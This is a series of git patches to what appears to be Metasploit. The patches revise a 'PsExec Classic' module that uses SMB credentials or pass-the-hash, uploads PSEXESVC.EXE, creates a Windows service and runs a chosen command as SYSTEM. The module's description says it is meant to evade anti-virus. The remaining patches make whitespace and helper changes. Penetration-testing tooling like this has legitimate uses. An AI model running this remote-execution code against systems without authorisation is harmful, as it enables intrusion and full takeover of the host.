only Guest privileges.") - disconnect - return false - end - - - print_status('Uploading PSEXESVC.EXE...') - simple.connect("\\\\#{datastore['RHOST']}\\ADMIN\$") - - # Attempt to upload PSEXESVC.EXE into the ADMIN$ share. If this - # fails, attempt to continue since it might already exist from - # a previous run. - begin - fd = smb_open('\\PSEXESVC.EXE', 'rwct') - fd << psexesvc - fd.close - print_status('Created \PSEXESVC.EXE in ADMIN$ share.') - rescue Rex::Proto::SMB::Exceptions::ErrorCode => e - # 0xC0000043 = STATUS_SHARING_VIOLATION, which in this - # case means that the file was already there from a - # previous invocation... - if e.error_code == 0xC0000043 - print_error('Failed to upload PSEXESVC.EXE into ADMIN$ share because it already exists. Attepting to continue...') - else - print_error('Error ' + e.get_error(e.error_code) + ' while uploading PSEXESVC.EXE into ADMIN$ share. Attempting to continue...') - end - end - psexesvc = nil - - simple.disconnect("\\\\#{datastore['RHOST']}\\ADMIN\$") - - print_status('Connecting to IPC$...') - simple.connect("\\\\#{datastore['RHOST']}\\IPC\$") - handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) - print_status("Binding to DCERPC handle #{handle}...") - dcerpc_bind(handle) - print_status("Successfully bound to #{handle} ...") - - - begin - # Get a handle to the service control manager. - print_status('Obtaining a service control manager handle...') - scm_handle = dce_openscmanagerw(dcerpc, datastore['RHOST']) - if scm_handle == nil - print_error('Failed to obtain handle to service control manager.') - return - end - - # Create the service. - print_status('Creating a new service (PSEXECSVC - "PsExec")...') - begin - svc_handle = dce_createservicew(dcerpc, - scm_handle, - 'PSEXESVC', # Service name - 'PsExec', # Display name - '%SystemRoot%\PSEXESVC.EXE', # Binary path - {:type => 0x00000010}) # Type: Own process - if svc_handle == nil - print_error('Error while creating new service.') - return - end - - # Close the handle to the service. - if not dce_closehandle(dcerpc, svc_handle) - print_error('Failed to close service handle.') - # If this fails, we can still continue... - end - - rescue ::Exception => e - # An exception can occur if the service already exists due to a prior unclean shutdown. We can try to - # continue anyway. - end - - # Re-open the service. In case we failed to create the service because it already exists from a previous invokation, - # this will obtain a handle to it regardless. - print_status('Opening service...') - svc_handle = dce_openservicew(dcerpc, scm_handle, 'PSEXESVC') - if svc_handle == nil - print_error('Failed to open service.') - return - end - - # Start the service. - print_status('Starting the service...') - if not dce_startservice(dcerpc, svc_handle) - print_error('Failed to start the service.') - return - end - - rescue ::Exception => e - print_error("Error: #{e}\n#{e.backtrace.join("\n")}") - return - end - - - print_status("Connecting to \\psexecsvc pipe...") - psexecsvc_proc = simple.create_pipe('\psexecsvc') - - # For some reason, the service needs to be pinged first to - # wake it up... - magic = simple.trans_pipe(psexecsvc_proc.file_id, NDR.long(0xBE)) - - # Make up a random hostname and local PID to send to the - # service. It will create named pipes for stdin/out/err based - # on these. - random_hostname = Rex::Text.rand_text_alpha(12) - random_client_pid_low = rand(255) - random_client_pid_high = rand(255) - random_client_pid = (random_client_pid_low + (random_client_pid_high * 256)).to_s - - print_status("Instructing service to execute #{command}...") - smbclient = simple.client - - # The standard client.write() method doesn't work since the - # service is expecting certain packet flags to be set. Hence, - # we need to use client.write_raw() and specify everything - # ourselves (such as Unicode strings, AndXOffsets, and data - # offsets). - - # In the first message, we tell the service our made-up - # hostname and PID, and tell it what program to execute. - smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, - 255, 0, 0, 0x000c, 19032, 0, 4292, 64, 0, 4293, - "\xee\x58\x4a\x58\x4a\x00\x00" << - random_client_pid_low.chr << - random_client_pid_high.chr << "\x00\x00" << - Rex::Text.to_unicode(random_hostname) << - ("\x00" * 496) << Rex::Text.to_unicode(command) << - ("\x00" * (3762 - (command.length * 2))), true) - - # In the next three messages, we just send lots of zero bytes... - smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, 255, 57054, 4290, 0x0004, 19032, 0, 4290, 64, 0, 4291, "\xee" << ("\x00" * 4290), true) - - smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, 255, 57054, 8580, 0x0004, 19032, 0, 4290, 64, 0, 4291, "\xee" << ("\x00" * 4290), true) - - smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, 255, 57054, 12870, 0x0004, 19032, 0, 4290, 64, 0, 4291, "\xee" << ("\x00" * 4290), true) - - # In the final message, we give it some magic bytes. This - # (somehow) corresponds to the "-s" flag in PsExec.exe, which - # tells it to execute the specified command as SYSTEM. - smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, - 255, 57054, 17160, 0x0004, 19032, 0, 1872, 64, 0, 1873, - "\xee" << ("\x00" * 793) << "\x01" << ("\x00" * 14) << - "\xff\xff\xff\xff" << ("\x00" * 1048) << "\x01" << - ("\x00" * 11), true) - - - # Connect to the named pipes that correspond to stdin, stdout, - # and stderr. - psexecsvc_proc_stdin = connect_to_pipe("\psexecsvc-#{random_hostname}-#{random_client_pid}-stdin") - psexecsvc_proc_stdout = connect_to_pipe("\psexecsvc-#{random_hostname}-#{random_client_pid}-stdout") - psexecsvc_proc_stderr = connect_to_pipe("\psexecsvc-#{random_hostname}-#{random_client_pid}-stderr") - - - # Read from stdout and stderr. We need to record the multiplex - # IDs so that when we get a response, we know which it belongs - # to. Trial & error showed that the service DOES NOT like it - # when you repeatedly try to read from a pipe when it hasn't - # returned from the last call. Hence, we use these IDs to know - # when to call read again. - stdout_multiplex_id = smbclient.multiplex_id - smbclient.read(psexecsvc_proc_stdout.file_id, 0, 1024, false) - - stderr_multiplex_id = smbclient.multiplex_id - smbclient.read(psexecsvc_proc_stderr.file_id, 0, 1024, false) - - # Loop to read responses from the server and process commands - # from the user. - socket = smbclient.socket - rds = [socket, $stdin] - wds = [] - eds = [] - last_char = nil - - begin - while true - r,w,e = ::IO.select(rds, wds, eds, 1.0) - - # If we have data from the socket to read... - if (r != nil) and (r.include? socket) - - # Read the SMB packet. - data = smbclient.smb_recv - smbpacket = Rex::Proto::SMB::Constants::SMB_BASE_PKT.make_struct - smbpacket.from_s(data) - - # If this is a response to our read - # command... - if smbpacket['Payload']['SMB'].v['Command'] == Rex::Proto::SMB::Constants::SMB_COM_READ_ANDX - parsed_smbpacket = smbclient.smb_parse_read(smbpacket, data) - - # Check to see if this is a STATUS_PIPE_DISCONNECTED - # (0xc00000b0) message, which tells us that the remote program - # has terminated. - if parsed_smbpacket['Payload']['SMB'].v['ErrorClass'] == 0xc00000b0 - print_status "Received STATUS_PIPE_DISCONNECTED. Terminating..." - # Read in another SMB packet, since program termination - # causes both the stdout and stderr pipes to issue a - # disconnect message. - smbclient.smb_recv rescue nil - - # Break out of the while loop so we can clean up. - break - end - - # Print the data from our read request. - print parsed_smbpacket['Payload'].v['Payload'] - - # Check the multiplex ID from this read response, and see - # which pipe it came from (stdout or stderr?). Issue another - # read request on that pipe. - received_multiplex_id = parsed_smbpacket['Payload']['SMB'].v['MultiplexID'] - if received_multiplex_id == stdout_multiplex_id - stdout_multiplex_id = smbclient.multiplex_id - smbclient.read(psexecsvc_proc_stdout.file_id, 0, 1024, false) - elsif received_multiplex_id == stderr_multiplex_id - stderr_multiplex_id = smbclient.multiplex_id - smbclient.read(psexecsvc_proc_stderr.file_id, 0, 1024, false) - end - end - end - - # If the user entered some input. - if (r != nil) and (r.include? $stdin) - - # There's actually an entire line of text available, but the - # standard PsExec.exe client sends one byte at a time, so we'll - # duplicate this behavior. - data = $stdin.read_nonblock(1) - - # The remote program expects CRLF line endings, but in Linux, we - # only get LF line endings... - if data == "\x0a" and last_char != "\x0d" - smbclient.write_raw(psexecsvc_proc_stdin.file_id, 0x18, 0xc807, 14, 255, 57054, 0, 0x0008, 1, 0, 1, 64, 0, 2, "\xee\x0d", true) - end - - smbclient.write_raw(psexecsvc_proc_stdin.file_id, 0x18, 0xc807, 14, 255, 57054, 0, 0x0008, 1, 0, 1, 64, 0, 2, "\xee" << data, true) - last_char = data - end - end - rescue ::Exception => e - print_error("Error: #{e}") - print_status('Attempting to terminate gracefully...') - end - - - # Time to clean up. Close the handles to stdin, stdout, - # stderr, as well as the handle to the \psexecsvc pipe. - smbclient.close(psexecsvc_proc_stdin.file_id) rescue nil - smbclient.close(psexecsvc_proc_stdout.file_id) rescue nil - smbclient.close(psexecsvc_proc_stderr.file_id) rescue nil - smbclient.close(psexecsvc_proc.file_id) rescue nil - - # Stop the service. - begin - print_status('Stopping the service...') - if not dce_stopservice(dcerpc, svc_handle) - print_error('Error while stopping the service.') - # We will try to continue anyway... - end - rescue ::Exception => e - print_error("Error: #{e}\n#{e.backtrace.join("\n")}") - end - - # Wait a little bit for it to stop before we delete the service. - if wait_for_service_to_stop(svc_handle) == false - print_error('Could not stop the PSEXECSVC service. Attempting to continue cleanup...') - end - - # Delete the service. - begin - print_status("Removing the service...") - if not dce_deleteservice(dcerpc, svc_handle) - print_error('Error while deleting the service.') - # We will try to continue anyway... - end - - print_status("Closing service handle...") - if not dce_closehandle(dcerpc, svc_handle) - print_error('Error while closing the service handle.') - # We will try to continue anyway... - end - rescue ::Exception => e - print_error("Error: #{e}\n#{e.backtrace.join("\n")}") - end - - - # Disconnect from the IPC$ share. - print_status("Disconnecting from \\\\#{datastore['RHOST']}\\IPC\$") - simple.disconnect("\\\\#{datastore['RHOST']}\\IPC\$") - - # Connect to the ADMIN$ share so we can delete PSEXECSVC.EXE. - print_status("Connecting to \\\\#{datastore['RHOST']}\\ADMIN\$") - simple.connect("\\\\#{datastore['RHOST']}\\ADMIN\$") - - print_status('Deleting \\PSEXESVC.EXE...') - simple.delete('\\PSEXESVC.EXE') - - # Disconnect from the ADMIN$ share. Now we're done! - print_status("Disconnecting from \\\\#{datastore['RHOST']}\\ADMIN\$") - simple.disconnect("\\\\#{datastore['RHOST']}\\ADMIN\$") - - end - - # Connects to the specified named pipe. If it cannot be done, up - # to three retries are made. - def connect_to_pipe(pipe_name) - retries = 0 - pipe_fd = nil - while (retries < 3) and (pipe_fd == nil) - # On the first retry, wait one second, on the second - # retry, wait two... - select(nil, nil, nil, retries) - - begin - pipe_fd = simple.create_pipe(pipe_name) - rescue - retries += 1 - end - end - - if pipe_fd != nil - print_status("Connected to named pipe #{pipe_name}.") - else - print_error("Failed to connect to #{pipe_name}!") - end - - return pipe_fd - end - - # Query the service and wait until its stopped. Wait one second - # before the first retry, two seconds before the second retry, - # and three seconds before the last attempt. - def wait_for_service_to_stop(svc_handle) - service_stopped = false - retries = 0 - while (retries < 3) and (service_stopped == false) - select(nil, nil, nil, retries) - - if dce_queryservice(dcerpc, svc_handle) == 2 - service_stopped = true - else - retries += 1 - end - end - return service_stopped - end + include Msf::Exploit::Remote::DCERPC + include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::PsexecSvc + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'PsExec Classic', + 'Description' => %q{ +This module mimics the classic PsExec tool from Microsoft SysInternals. Anti-virus software has recently rendered the commonly-used exploit/windows/smb/psexec module much less useful +because the uploaded executable stub is usually detected and deleted before it can be used. This module sends the same code to the target as the authentic PsExec +(which happens to have a digital signature from Microsoft), thus anti-virus software cannot distinguish the difference. AV cannot block it without also blocking the authentic version. +Of course, this module also supports pass-the-hash, which the authentic PsExec does not. You must provide a local path to the authentic PsExec.exe (via the PSEXEC_PATH option) +so that the PSEXESVC.EXE service code can be extracted and uploaded to the target. The specified command (via the COMMAND option) will be executed with SYSTEM privileges. + }, + 'Author' => + [ + 'Joe Testa ' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ] + ], + 'Platform' => 'win', + )) + + register_options([ + OptString.new('PSEXEC_PATH', [ true, "The local path to the authentic PsExec.exe", '' ]), + OptString.new('COMMAND', [ true, "The program to execute with SYSTEM privileges.", 'cmd.exe' ]) + ], self.class ) + end + + def run() + psexec_path = datastore['PSEXEC_PATH'] + command = datastore['COMMAND'] + + psexesvc,psexec_version = extract_psexesvc(psexec_path, true) + + print_status("Connecting to #{datastore['RHOST']}...") + if not connect + print_error("Failed to connect.") + return false + end + + print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...") + smb_login + + if (not simple.client.auth_user) + print_error("Server granted only Guest privileges.") + disconnect + return false + end + + + print_status('Uploading PSEXESVC.EXE...') + simple.connect("\\\\#{datastore['RHOST']}\\ADMIN\$") + + # Attempt to upload PSEXESVC.EXE into the ADMIN$ share. If this + # fails, attempt to continue since it might already exist from + # a previous run. + begin + fd = smb_open('\\PSEXESVC.EXE', 'rwct') + fd << psexesvc + fd.close + print_status('Created \PSEXESVC.EXE in ADMIN$ share.') + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + # 0xC0000043 = STATUS_SHARING_VIOLATION, which in this + # case means that the file was already there from a + # previous invocation... + if e.error_code == 0xC0000043 + print_error('Failed to upload PSEXESVC.EXE into ADMIN$ share because it already exists. Attepting to continue...') + else + print_error('Error ' + e.get_error(e.error_code) + ' while uploading PSEXESVC.EXE into ADMIN$ share. Attempting to continue...') + end + end + psexesvc = nil + + simple.disconnect("\\\\#{datastore['RHOST']}\\ADMIN\$") + + print_status('Connecting to IPC$...') + simple.connect("\\\\#{datastore['RHOST']}\\IPC\$") + handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) + print_status("Binding to DCERPC handle #{handle}...") + dcerpc_bind(handle) + print_status("Successfully bound to #{handle} ...") + + + begin + # Get a handle to the service control manager. + print_status('Obtaining a service control manager handle...') + scm_handle = dce_openscmanagerw(dcerpc, datastore['RHOST']) + if scm_handle == nil + print_error('Failed to obtain handle to service control manager.') + return + end + + # Create the service. + print_status('Creating a new service (PSEXECSVC - "PsExec")...') + begin + svc_handle = dce_createservicew(dcerpc, + scm_handle, + 'PSEXESVC', # Service name + 'PsExec', # Display name + '%SystemRoot%\PSEXESVC.EXE', # Binary path + {:type => 0x00000010}) # Type: Own process + if svc_handle == nil + print_error('Error while creating new service.') + return + end + + # Close the handle to the service. + if not dce_closehandle(dcerpc, svc_handle) + print_error('Failed to close service handle.') + # If this fails, we can still continue... + end + + rescue ::Exception => e + # An exception can occur if the service already exists due to a prior unclean shutdown. We can try to + # continue anyway. + end + + # Re-open the service. In case we failed to create the service because it already exists from a previous invokation, + # this will obtain a handle to it regardless. + print_status('Opening service...') + svc_handle = dce_openservicew(dcerpc, scm_handle, 'PSEXESVC') + if svc_handle == nil + print_error('Failed to open service.') + return + end + + # Start the service. + print_status('Starting the service...') + if not dce_startservice(dcerpc, svc_handle) + print_error('Failed to start the service.') + return + end + + rescue ::Exception => e + print_error("Error: #{e}\n#{e.backtrace.join("\n")}") + return + end + + + # The pipe to connect to varies based on the version. + psexesvc_pipe_name = nil + if psexec_version == 1.98 + psexesvc_pipe_name = 'psexecsvc' + elsif psexec_version == 2.0 + psexesvc_pipe_name = 'PSEXESVC' + else + print_error("Internal error. A PsExec version of #{psexec_version} is not valid!") + return + end + + # Open a pipe to the right service. + print_status("Connecting to \\#{psexesvc_pipe_name} pipe...") + psexecsvc_proc = simple.create_pipe("\\#{psexesvc_pipe_name}") + + + # For some reason, the service needs to be pinged first to + # wake it up... + magic = simple.trans_pipe(psexecsvc_proc.file_id, NDR.long(0xBE)) + + # Make up a random hostname and local PID to send to the + # service. It will create named pipes for stdin/out/err based + # on these. + random_hostname = Rex::Text.rand_text_alpha(12) + random_client_pid_low = rand(255) + random_client_pid_high = rand(255) + random_client_pid = (random_client_pid_low + (random_client_pid_high * 256)).to_s + + print_status("Instructing service to execute #{command}...") + smbclient = simple.client + + # The standard client.write() method doesn't work since the + # service is expecting certain packet flags to be set. Hence, + # we need to use client.write_raw() and specify everything + # ourselves (such as Unicode strings, AndXOffsets, and data + # offsets). + + # In the first message, we tell the service our made-up + # hostname and PID, and tell it what program to execute. + smbclient.write_raw({'file_id' => psexecsvc_proc.file_id, + 'flags1' => 0x18, + 'flags2' => 0xc807, + 'wordcount' => 14, + 'andx_command' => 255, + 'andx_offset' => 0, + 'offset' => 0, + 'write_mode' => 0x000c, + 'remaining' => 19032, + 'data_len_high' => 0, + 'data_len_low' => 4292, + 'data_offset' => 64, + 'high_offset' => 0, + 'byte_count' => 4293, + 'data' => "\xee\x58\x4a\x58\x4a\x00\x00" << + random_client_pid_low.chr << + random_client_pid_high.chr << "\x00\x00" << + Rex::Text.to_unicode(random_hostname) << + ("\x00" * 496) << Rex::Text.to_unicode(command) << + ("\x00" * (3762 - (command.length * 2))), + 'do_recv' => true}) + + # In the next three messages, we just send lots of zero bytes... + smbclient.write_raw({'file_id' => psexecsvc_proc.file_id, + 'flags1' => 0x18, + 'flags2' => 0xc807, + 'wordcount' => 14, + 'andx_command' => 255, + 'andx_offset' => 57054, + 'offset' => 4290, + 'write_mode' => 0x0004, + 'remaining' => 19032, + 'data_len_high' => 0, + 'data_len_low' => 4290, + 'data_offset' => 64, + 'high_offset' => 0, + 'byte_count' => 4291, + 'data' => "\xee" << ("\x00" * 4290), + 'do_recv' => true}) + + + smbclient.write_raw({'file_id' => psexecsvc_proc.file_id, + 'flags1' => 0x18, + 'flags2' => 0xc807, + 'wordcount' => 14, + 'andx_command' => 255, + 'andx_offset' => 57054, + 'offset' => 8580, + 'write_mode' => 0x0004, + 'remaining' => 19032, + 'data_len_high' => 0, + 'data_len_low' => 4290, + 'data_offset' => 64, + 'high_offset' => 0, + 'byte_count' => 4291, + 'data' => "\xee" << ("\x00" * 4290), + 'do_recv' => true}) + + + smbclient.write_raw({'file_id' => psexecsvc_proc.file_id, + 'flags1' => 0x18, + 'flags2' => 0xc807, + 'wordcount' => 14, + 'andx_command' => 255, + 'andx_offset' => 57054, + 'offset' => 12870, + 'write_mode' => 0x0004, + 'remaining' => 19032, + 'data_len_high' => 0, + 'data_len_low' => 4290, + 'data_offset' => 64, + 'high_offset' => 0, + 'byte_count' => 4291, + 'data' => "\xee" << ("\x00" * 4290), + 'do_recv' => true}) + + + # In the final message, we give it some magic bytes. This + # (somehow) corresponds to the "-s" flag in PsExec.exe, which + # tells it to execute the specified command as SYSTEM. + smbclient.write_raw({'file_id' => psexecsvc_proc.file_id, + 'flags1' => 0x18, + 'flags2' => 0xc807, + 'wordcount' => 14, + 'andx_command' => 255, + 'andx_offset' => 57054, + 'offset' => 17160, + 'write_mode' => 0x0004, + 'remaining' => 19032, + 'data_len_high' => 0, + 'data_len_low' => 1872, + 'data_offset' => 64, + 'high_offset' => 0, + 'byte_count' => 1873, + 'data' => "\xee" << ("\x00" * 793) << "\x01" << ("\x00" * 14) << "\xff\xff\xff\xff" << ("\x00" * 1048) << "\x01" << ("\x00" * 11), + 'do_recv' => true}) + + + # Connect to the named pipes that correspond to stdin, stdout, + # and stderr. + psexecsvc_proc_stdin = connect_to_pipe("\\#{psexesvc_pipe_name}-#{random_hostname}-#{random_client_pid}-stdin") + psexecsvc_proc_stdout = connect_to_pipe("\\#{psexesvc_pipe_name}-#{random_hostname}-#{random_client_pid}-stdout") + psexecsvc_proc_stderr = connect_to_pipe("\\#{psexesvc_pipe_name}-#{random_hostname}-#{random_client_pid}-stderr") + + + # Read from stdout and stderr. We need to record the multiplex + # IDs so that when we get a response, we know which it belongs + # to. Trial & error showed that the service DOES NOT like it + # when you repeatedly try to read from a pipe when it hasn't + # returned from the last call. Hence, we use these IDs to know + # when to call read again. + stdout_multiplex_id = smbclient.multiplex_id + smbclient.read(psexecsvc_proc_stdout.file_id, 0, 1024, false) + + stderr_multiplex_id = smbclient.multiplex_id + smbclient.read(psexecsvc_proc_stderr.file_id, 0, 1024, false) + + # Loop to read responses from the server and process commands + # from the user. + socket = smbclient.socket + rds = [socket, $stdin] + wds = [] + eds = [] + last_char = nil + + begin + while true + r,w,e = ::IO.select(rds, wds, eds, 1.0) + + # If we have data from the socket to read... + if (r != nil) and (r.include? socket) + + # Read the SMB packet. + data = smbclient.smb_recv + smbpacket = Rex::Proto::SMB::Constants::SMB_BASE_PKT.make_struct + smbpacket.from_s(data) + + # If this is a response to our read + # command... + if smbpacket['Payload']['SMB'].v['Command'] == Rex::Proto::SMB::Constants::SMB_COM_READ_ANDX + parsed_smbpacket = smbclient.smb_parse_read(smbpacket, data) + + # Check to see if this is a STATUS_PIPE_DISCONNECTED + # (0xc00000b0) message, which tells us that the remote program + # has terminated. + if parsed_smbpacket['Payload']['SMB'].v['ErrorClass'] == 0xc00000b0 + print_status "Received STATUS_PIPE_DISCONNECTED. Terminating..." + # Read in another SMB packet, since program termination + # causes both the stdout and stderr pipes to issue a + # disconnect message. + smbclient.smb_recv rescue nil + + # Break out of the while loop so we can clean up. + break + end + + # Print the data from our read request. + print parsed_smbpacket['Payload'].v['Payload'] + + # Check the multiplex ID from this read response, and see + # which pipe it came from (stdout or stderr?). Issue another + # read request on that pipe. + received_multiplex_id = parsed_smbpacket['Payload']['SMB'].v['MultiplexID'] + if received_multiplex_id == stdout_multiplex_id + stdout_multiplex_id = smbclient.multiplex_id + smbclient.read(psexecsvc_proc_stdout.file_id, 0, 1024, false) + elsif received_multiplex_id == stderr_multiplex_id + stderr_multiplex_id = smbclient.multiplex_id + smbclient.read(psexecsvc_proc_stderr.file_id, 0, 1024, false) + end + end + end + + # If the user entered some input. + if (r != nil) and (r.include? $stdin) + + # There's actually an entire line of text available, but the + # standard PsExec.exe client sends one byte at a time, so we'll + # duplicate this behavior. + data = $stdin.read_nonblock(1) + + # The remote program expects CRLF line endings, but in Linux, we + # only get LF line endings... + if data == "\x0a" and last_char != "\x0d" + smbclient.write_raw({'file_id' => psexecsvc_proc_stdin.file_id, + 'flags1' => 0x18, + 'flags2' => 0xc807, + 'wordcount' => 14, + 'andx_command' => 255, + 'andx_offset' => 57054, + 'offset' => 0, + 'write_mode' => 0x0008, + 'remaining' => 1, + 'data_len_high' => 0, + 'data_len_low' => 1, + 'data_offset' => 64, + 'high_offset' => 0, + 'byte_count' => 2, + 'data' => "\xee\x0d", + 'do_recv' => true}) + end + + smbclient.write_raw({'file_id' => psexecsvc_proc_stdin.file_id, + 'flags1' => 0x18, + 'flags2' => 0xc807, + 'wordcount' => 14, + 'andx_command' => 255, + 'andx_offset' => 57054, + 'offset' => 0, + 'write_mode' => 0x0008, + 'remaining' => 1, + 'data_len_high' => 0, + 'data_len_low' => 1, + 'data_offset' => 64, + 'high_offset' => 0, + 'byte_count' => 2, + 'data' => "\xee" << data, + 'do_recv' => true}) + + last_char = data + end + end + rescue ::Exception => e + print_error("Error: #{e}") + print_status('Attempting to terminate gracefully...') + end + + + # Time to clean up. Close the handles to stdin, stdout, + # stderr, as well as the handle to the \psexecsvc pipe. + smbclient.close(psexecsvc_proc_stdin.file_id) rescue nil + smbclient.close(psexecsvc_proc_stdout.file_id) rescue nil + smbclient.close(psexecsvc_proc_stderr.file_id) rescue nil + smbclient.close(psexecsvc_proc.file_id) rescue nil + + # Stop the service. + begin + print_status('Stopping the service...') + if not dce_stopservice(dcerpc, svc_handle) + print_error('Error while stopping the service.') + # We will try to continue anyway... + end + rescue ::Exception => e + print_error("Error: #{e}\n#{e.backtrace.join("\n")}") + end + + # Wait a little bit for it to stop before we delete the service. + if wait_for_service_to_stop(svc_handle) == false + print_error('Could not stop the PSEXECSVC service. Attempting to continue cleanup...') + end + + # Delete the service. + begin + print_status("Removing the service...") + if not dce_deleteservice(dcerpc, svc_handle) + print_error('Error while deleting the service.') + # We will try to continue anyway... + end + + print_status("Closing service handle...") + if not dce_closehandle(dcerpc, svc_handle) + print_error('Error while closing the service handle.') + # We will try to continue anyway... + end + rescue ::Exception => e + print_error("Error: #{e}\n#{e.backtrace.join("\n")}") + end + + + # Disconnect from the IPC$ share. + print_status("Disconnecting from \\\\#{datastore['RHOST']}\\IPC\$") + simple.disconnect("\\\\#{datastore['RHOST']}\\IPC\$") + + # Connect to the ADMIN$ share so we can delete PSEXECSVC.EXE. + print_status("Connecting to \\\\#{datastore['RHOST']}\\ADMIN\$") + simple.connect("\\\\#{datastore['RHOST']}\\ADMIN\$") + + print_status('Deleting \\PSEXESVC.EXE...') + simple.delete('\\PSEXESVC.EXE') + + # Disconnect from the ADMIN$ share. Now we're done! + print_status("Disconnecting from \\\\#{datastore['RHOST']}\\ADMIN\$") + simple.disconnect("\\\\#{datastore['RHOST']}\\ADMIN\$") + + end + + # Connects to the specified named pipe. If it cannot be done, up + # to three retries are made. + def connect_to_pipe(pipe_name) + retries = 0 + pipe_fd = nil + while (retries < 3) and (pipe_fd == nil) + # On the first retry, wait one second, on the second + # retry, wait two... + select(nil, nil, nil, retries) + + begin + pipe_fd = simple.create_pipe(pipe_name) + rescue + retries += 1 + end + end + + if pipe_fd != nil + print_status("Connected to named pipe #{pipe_name}.") + else + print_error("Failed to connect to #{pipe_name}!") + end + + return pipe_fd + end + + # Query the service and wait until its stopped. Wait one second + # before the first retry, two seconds before the second retry, + # and three seconds before the last attempt. + def wait_for_service_to_stop(svc_handle) + service_stopped = false + retries = 0 + while (retries < 3) and (service_stopped == false) + select(nil, nil, nil, retries) + + if dce_queryservice(dcerpc, svc_handle) == 2 + service_stopped = true + else + retries += 1 + end + end + return service_stopped + end end From be84535b138d142c354f17030e5d98178108dab4 Mon Sep 17 00:00:00 2001 From: Joe Testa Date: Mon, 6 Jan 2014 15:20:40 -0500 Subject: [PATCH 05/15] Removed comment and fixed whitespace. --- lib/rex/proto/smb/client.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/proto/smb/client.rb b/lib/rex/proto/smb/client.rb index ee032a71af98..bb1497a7b15c 100644 --- a/lib/rex/proto/smb/client.rb +++ b/lib/rex/proto/smb/client.rb @@ -1272,6 +1272,7 @@ def write(file_id = self.last_file_id, offset = 0, data = '', do_recv = true) end pkt['Payload']['SMB'].v['WordCount'] = 14 + pkt['Payload'].v['AndX'] = 255 pkt['Payload'].v['FileID'] = file_id pkt['Payload'].v['Offset'] = offset @@ -1295,7 +1296,6 @@ def write(file_id = self.last_file_id, offset = 0, data = '', do_recv = true) # Used by auxiliary/admin/smb/psexec_classic.rb to send ANDX writes with # greater precision. def write_raw(args) -#file_id, flags1, flags2, wordcount, andx_command, andx_offset, offset, write_mode, remaining, data_len_high, data_len_low, data_offset, high_offset, byte_count, data, do_recv) pkt = CONST::SMB_WRITE_PKT.make_struct self.smb_defaults(pkt['Payload']['SMB']) From cc071ecff9770f3dea4bbc30f80244f8b1021ee7 Mon Sep 17 00:00:00 2001 From: Joe Testa Date: Mon, 13 Jan 2014 22:34:33 -0500 Subject: [PATCH 06/15] Replaced tabs with spaces. --- lib/msf/core/exploit/dcerpc_services.rb | 456 ++++++++++++------------ 1 file changed, 236 insertions(+), 220 deletions(-) diff --git a/lib/msf/core/exploit/dcerpc_services.rb b/lib/msf/core/exploit/dcerpc_services.rb index e0a806d0fdcd..bede9ca079cf 100644 --- a/lib/msf/core/exploit/dcerpc_services.rb +++ b/lib/msf/core/exploit/dcerpc_services.rb @@ -2,228 +2,244 @@ module Msf ### -# This module implements MSRPC functions that control creating, deleting, starting, stopping, and querying system services. +# This module implements MSRPC functions that control creating, deleting, +# starting, stopping, and querying system services. ### module Exploit::Remote::DCERPC_SERVICES - NDR = Rex::Encoder::NDR - - - # Calls OpenSCManagerW() to obtain a handle to the service control manager. - # - # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. - # @param rhost [String] the target host. - # @param access [Fixnum] the access flags requested. - # - # @return [String] the handle to the service control manager. - def dce_openscmanagerw(dcerpc, rhost, access = 0xF003F) - scm_handle = nil - scm_status = nil - stubdata = - NDR.uwstring("\\\\#{rhost}") + - NDR.long(0) + - NDR.long(access) - response = dcerpc.call(0x0f, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - scm_handle = dcerpc.last_response.stub_data[0,20] - scm_status = dcerpc.last_response.stub_data[20,4] - end - - if scm_status.to_i != 0 - scm_handle = nil - end - return scm_handle - end - - - # Calls CreateServiceW() to create a system service. Returns a handle to the service on success, or nil. - # - # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. - # @param scm_handle [String] the SCM handle (from dce_openscmanagerw()). - # @param service_name [String] the service name. - # @param display_name [String] the display name. - # @param binary_path [String] the path of the binary to run. - # @param opts [Hash] a hash containing the following keys and values: - # access [Fixnum] the access level (default is maximum). - # type [Fixnum] the type of service (default is interactive, own process). - # start [Fixnum] the start options (default is on demand). - # errors [Fixnum] the error options (default is ignore). - # load_order_group [Fixnum] the load order group. - # dependencies [Fixnum] the dependencies of the service. - # service_start [Fixnum] - # password1 [Fixnum] - # password2 [Fixnum] - # password3 [Fixnum] - # password4 [Fixnum] - # - # @return [String] a handle to the created service. - def dce_createservicew(dcerpc, scm_handle, service_name, display_name, binary_path, opts) - default_opts = { - :access => 0x0F01FF, # Maximum access. - :type => 0x00000110, # Interactive, own process. - :start => 0x00000003, # Start on demand. - :errors => 0x00000000,# Ignore errors. - :load_order_group => 0, - :dependencies => 0, - :service_start => 0, - :password1 => 0, - :password2 => 0, - :password3 => 0, - :password4 => 0 - }.merge(opts) - - svc_handle = nil - svc_status = nil - stubdata = scm_handle + - NDR.wstring(service_name) + - NDR.uwstring(display_name) + - NDR.long(default_opts[:access]) + - NDR.long(default_opts[:type]) + - NDR.long(default_opts[:start]) + - NDR.long(default_opts[:errors]) + - NDR.wstring(binary_path) + - NDR.long(default_opts[:load_order_group]) + - NDR.long(default_opts[:dependencies]) + - NDR.long(default_opts[:service_start]) + - NDR.long(default_opts[:password1]) + - NDR.long(default_opts[:password2]) + - NDR.long(default_opts[:password3]) + - NDR.long(default_opts[:password4]) - 